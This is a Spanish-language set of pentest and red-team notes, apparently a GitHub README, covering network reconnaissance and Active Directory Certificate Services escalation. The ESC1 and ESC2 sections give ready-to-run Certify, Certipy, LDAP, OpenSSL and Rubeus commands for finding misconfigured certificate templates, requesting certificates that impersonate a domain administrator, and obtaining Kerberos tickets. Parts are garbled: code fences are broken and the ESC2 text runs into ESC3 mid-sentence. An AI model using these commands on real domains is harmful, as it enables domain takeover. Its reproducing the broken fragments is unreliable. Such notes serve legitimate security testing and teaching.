
Notas y experimentos de RedTeam/Pentest probados en varias infraestructuras relacionadas con compromisos profesionales.
Notas de acceso público sobre mis experimentos de pentesting/red teaming realizados en varios entornos/infraestructuras controladas que implican jugar con diversas herramientas y técnicas utilizadas por pentesters y redteamers durante una evaluación de seguridad.
Aceptamos contribuciones como pull requests de GitHub.
Kudos y gracias a las personas que hicieron el trabajo duro
Descargo de responsabilidad
Solo con fines educativos, úselo bajo su propia responsabilidad.
Recopilar información sobre el nombre de dominio y las máquinas Windows que se ejecutan en la red.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
o```bash
bash$ responder-RunFinger
Escaneo de redes IP para obtener información de nombres NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Escanear el rango de red basado en la información SMB```bash
bash$ cme smb 192.168.1.1/24
Escanear toda la red de la máquina y guardar las salidas .
Escaneo rápido```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Escaneo intensivo (Nota recomendada):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Escaneo con enumeración de la versión de los servicios en ejecución :
## Angry IP scanner
Descargue la herramienta desde este enlace:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Cambie la configuración de preferencias
> Vaya a: Preferencias -> Puertos -> añada 80,445,554,21,22 en la selección de puertos <br>
> Vaya a: Preferencias -> Visualización -> seleccione Hosts Vivos <br>
> Vaya a: Preferencias -> Ping -> seleccione Combinado (UDP/TCP)
# Movimiento Lateral y Explotación
### Servicios de Certificados de Active Directory
Esta parte fue copiada de https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Para más detalles, consulte: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Probado en entorno privado (Bloodhound luego explotación ESC1))
* Encontrar servidor ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumerar AC empresariales de AD con certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Plantillas de Certificado Malconfiguradas
> Los usuarios de dominio pueden inscribirse en la plantilla **VulnTemplate**, que puede usarse para autenticación de cliente y tiene **ENROLLEE_SUPPLIES_SUBJECT** establecido. Esto permite que cualquiera se inscriba en esta plantilla y especifique un Nombre Alternativo del Sujeto arbitrario (por ejemplo, como Administrador de Dominio). Permite vincular identidades adicionales a un certificado más allá del Sujeto.
Requisitos:
* Una plantilla que permita autenticación AD
* La bandera **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] Autenticación de Cliente, Inicio de Sesión con Tarjeta Inteligente, Cualquier Propósito o sin EKU (Uso de Clave Extendido/Mejorado)
Explotación:
* Use [Certify.exe](https://github.com/GhostPack/Certify) para ver si hay plantillas vulnerables
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# o
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# o
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Use Certify, [Certi](https://github.com/eloypgz/certi) o [Certipy](https://github.com/ly4k/Certipy) para solicitar un Certificado y añadir un nombre alternativo (usuario a suplantar)
```ps1
# solicitar certificados para la cuenta de máquina ejecutando Certify con el argumento "/machine" desde un símbolo del sistema elevado.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Use OpenSSL y convierta el certificado, no ingrese una contraseña
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Mueva el cert.pfx al sistema de archivos de la máquina objetivo y solicite un TGT para el usuario del nombre alternativo usando Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**ADVERTENCIA**: ¡Estos certificados seguirán siendo utilizables incluso si el usuario o equipo restablece su contraseña!
**NOTA**: Busque las banderas **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA**, y el retransmisión NTLM a los puntos finales HTTP de AD CS.
#### ESC2 - Plantillas de Certificado Malconfiguradas
Requisitos:
* Permite que los solicitantes especifiquen un Nombre Alternativo del Sujeto (SAN) en la CSR y también permite el EKU de Cualquier Propósito (2.5.29.37.0)
Explotación:
* Encontrar plantilla ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname como un administrador de dominio como en ESC1.ESC3 ocurre cuando una plantilla de certificado especifica el EKU Certificate Request Agent (Agente de Inscripción). Este EKU puede usarse para solicitar certificados en nombre de otros usuarios